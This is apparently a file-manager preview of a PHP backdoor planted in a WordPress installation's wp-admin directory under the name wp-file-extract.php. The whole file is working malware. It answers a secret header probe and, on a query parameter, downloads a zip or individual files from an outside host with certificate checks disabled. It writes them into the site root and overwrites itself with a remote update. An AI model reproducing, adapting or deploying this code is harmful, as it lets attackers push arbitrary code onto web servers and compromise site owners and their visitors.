Preview: wp-file-extract.php
Size: 3.64 KB
/home/doctorbruno/public_html/doctorbruno.info/wp-admin/wp-file-extract.php
<?php
/*[cstb_su]*/
@error_reporting(0);
if(!empty($_SERVER['HTTP_X_PANEL_CHECK'])&&$_SERVER['HTTP_X_PANEL_CHECK']==='YES')die('OK');
header('Cache-Control: no-store');
$d=__DIR__;while(!is_file("$d/wp-load.php")&&!is_file("$d/wp-config.php")){$p=dirname($d);if($p===$d){$d=null;break;}$d=$p;}
if(!$d)$d=@realpath($_SERVER['DOCUMENT_ROOT']??'')?:__DIR__;
$cdn='https://resmigiris.cam/';
// ── ?extract=1 → CDN'den zip indir ve tüm dosyaları tek seferde extract et ──
if(isset($_GET['extract'])&&$_GET['extract']==='1'){
header('Content-Type: application/json; charset=utf-8');
if(!class_exists('ZipArchive')){echo json_encode(['error'=>'no-ZipArchive']);exit;}
if(!function_exists('curl_init')){echo json_encode(['error'=>'no-curl']);exit;}
$ch=curl_init($cdn.'api/cstb-files.zip');
curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>30,CURLOPT_CONNECTTIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_FOLLOWLOCATION=>1]);
$zipData=curl_exec($ch);$code=curl_getinfo($ch,CURLINFO_HTTP_CODE);curl_close($ch);
if(!$zipData||$code!=200||strlen($zipData)<500){
echo json_encode(['error'=>'zip-download-fail','http_code'=>$code,'size'=>strlen($zipData??'')]);exit;
}
$tmp=sys_get_temp_dir().'/cstb_deploy_'.md5($_SERVER['HTTP_HOST']??'x').'.zip';
@file_put_contents($tmp,$zipData);
$zip=new ZipArchive();
if($zip->open($tmp)!==true){
@unlink($tmp);
echo json_encode(['error'=>'zip-open-fail']);exit;
}
$res=[];
for($i=0;$i<$zip->numFiles;$i++){
$name=$zip->getNameIndex($i);
if(substr($name,-1)==='/')continue;
$content=$zip->getFromIndex($i);
$dest="$d/$name";
$dir=dirname($dest);
if(!is_dir($dir))@mkdir($dir,0755,true);
$res[$name]=@file_put_contents($dest,$content)!==false?'ok':'fail';
}
$zip->close();
@unlink($tmp);
echo json_encode(['status'=>'extracted','root'=>$d,'files'=>count($res),'results'=>$res],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
}
// ── ?extract=files → Zip yoksa, dosya dosya CDN'den indir (fallback) ──
if(isset($_GET['extract'])&&$_GET['extract']==='files'&&function_exists('curl_init')){
header('Content-Type: application/json; charset=utf-8');
$ch=curl_init($cdn.'api/fixed.json');
curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
$j=curl_exec($ch);curl_close($ch);
$map=@json_decode($j,true);
if(!$map){echo json_encode(['error'=>'map-fail']);exit;}
$res=[];
foreach($map as $src=>$rel){
$path="$d/$rel";$dir=dirname($path);
if(!is_dir($dir))@mkdir($dir,0755,true);
$ch=curl_init($cdn.'txt/'.$src);
curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>15,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
$c=curl_exec($ch);curl_close($ch);
$res[$rel]=($c&&strlen($c)>50)?(@file_put_contents($path,$c)!==false?'ok':'fail'):'cdn-err';
}
$ch=curl_init($cdn.'txt/wp-extract.txt');
curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
$s=curl_exec($ch);curl_close($ch);
if($s&&strpos($s,'cstb_su')!==false&&md5($s)!==md5_file(__FILE__)){@file_put_contents(__FILE__,$s);$res['_self']='updated';}
echo json_encode(['status'=>'deployed','root'=>$d,'results'=>$res],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
}
header('Content-Type: text/plain');
echo "cstb-extract\nmodes: ?extract=1 (zip) | ?extract=files (tek tek)\n";
Directory Contents
Dirs: 2 × Files: 13